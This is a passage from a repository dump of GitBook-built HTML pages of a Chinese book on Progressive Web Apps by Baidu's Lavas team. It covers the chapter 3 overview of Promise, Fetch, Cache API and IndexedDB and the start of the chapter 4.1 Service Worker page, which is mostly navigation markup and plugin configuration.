安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第3章 基础技术简介</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\"><b></b>&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;</a></li></ul></div><a href=\"#&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\"><a name=\"&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\" class=\"plugin-anchor\" href=\"#&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x57FA;&#x7840;&#x6280;&#x672F;&#x7B80;&#x4ECB;</h1>\n<p>PWA &#x662F;&#x5EFA;&#x7ACB;&#x5728;&#x73B0;&#x4EE3;&#x524D;&#x7AEF;&#x6280;&#x672F;&#x548C;&#x6807;&#x51C6;&#x4E4B;&#x4E0A;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x4ECB;&#x7ECD; PWA &#x7279;&#x522B;&#x662F; Service Worker &#x76F8;&#x5173;&#x7684;&#x5185;&#x5BB9;&#x65F6;&#xFF0C;&#x4F1A;&#x9891;&#x7E41;&#x5730;&#x4F7F;&#x7528;&#x4E00;&#x4E9B;&#x65B9;&#x6CD5;&#x548C;&#x5BF9;&#x8C61;&#x3002;&#x5B83;&#x4EEC;&#x6709;&#x7684;&#x4E0D;&#x5C5E;&#x4E8E; PWA &#x7684;&#x8303;&#x7574;&#xFF0C;&#x6709;&#x7684;&#x4E0D;&#x4E00;&#x5B9A;&#x8981;&#x914D;&#x5408; Service Worker &#x4F7F;&#x7528;&#xFF0C;&#x4F46;&#x5B83;&#x4EEC;&#x90FD;&#x5C5E;&#x4E8E; PWA &#x7684;&#x57FA;&#x7840;&#xFF0C;&#x5BF9;&#x5B83;&#x4EEC;&#x7684;&#x5B66;&#x4E60;&#x5C06;&#x6709;&#x52A9;&#x4E8E;&#x540E;&#x9762;&#x7AE0;&#x8282;&#x7406;&#x89E3;&#xFF0C;&#x56E0;&#x6B64;&#x6709;&#x5FC5;&#x8981;&#x82B1;&#x4E9B;&#x7BC7;&#x5E45;&#x8FDB;&#x884C;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>&#x5728;&#x672C;&#x7AE0;&#x5185;&#x5BB9;&#x5F53;&#x4E2D;&#xFF0C;&#x5C06;&#x9996;&#x5148;&#x4ECB;&#x7ECD; ES6 &#x6807;&#x51C6;&#x7ED9;&#x51FA;&#x7684;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x89E3;&#x51B3;&#x65B9;&#x6848; Promise&#xFF0C;&#x5B83;&#x662F; PWA &#x6240;&#x6709;&#x5F02;&#x6B65;&#x65B9;&#x6848;&#x7684;&#x57FA;&#x7840;&#xFF0C;&#x7136;&#x540E;&#x8FDB;&#x4E00;&#x6B65;&#x4ECB;&#x7ECD;&#x66F4;&#x76F4;&#x89C2;&#x7684;&#x5F02;&#x6B65;&#x65B9;&#x6848; Async &#x51FD;&#x6570;&#x3002;&#x5728;&#x6709;&#x4E86;&#x6700;&#x65B0;&#x7684;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x6982;&#x5FF5;&#x4E4B;&#x540E;&#xFF0C;&#x7D27;&#x63A5;&#x7740;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x4F7F;&#x7528; Fetch API &#x53D1;&#x9001;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#xFF0C;&#x5E76;&#x4E0E; XMLHttpRequest &#x8FDB;&#x884C;&#x6BD4;&#x5BF9;&#x3002;&#x6700;&#x540E;&#x4ECB;&#x7ECD;&#x4E86;&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7F13;&#x5B58;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x5305;&#x62EC;&#x7528;&#x4E8E;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684; Cache API &#x548C;&#x672C;&#x5730;&#x975E;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93; IndexedDB&#xFF0C;&#x4E3A;&#x540E;&#x9762;&#x5229;&#x7528; Service Worker &#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#x63D0;&#x4F9B;&#x4E86;&#x57FA;&#x7840;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter02/5-responsive-design.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 2.5 响应式布局\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter03/1-promise.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 3.1 Promise\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第3章 基础技术简介\",\"level\":\"1.4\",\"depth\":1,\"next\":{\"title\":\"3.1 Promise\",\"level\":\"1.4.1\",\"depth\":2,\"path\":\"chapter03/1-promise.md\",\"ref\":\"chapter03/1-promise.md\",\"articles\":[]},\"previous\":{\"title\":\"2.5 响应式布局\",\"level\":\"1.3.5\",\"depth\":2,\"path\":\"chapter02/5-responsive-design.md\",\"ref\":\"chapter02/5-responsive-design.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter03.md\",\"mtime\":\"2019-06-19T10:37:42.124Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter04/1-service-worker-introduction.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>4.1 Service Worker 简介 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-service-worker-register.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter04.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        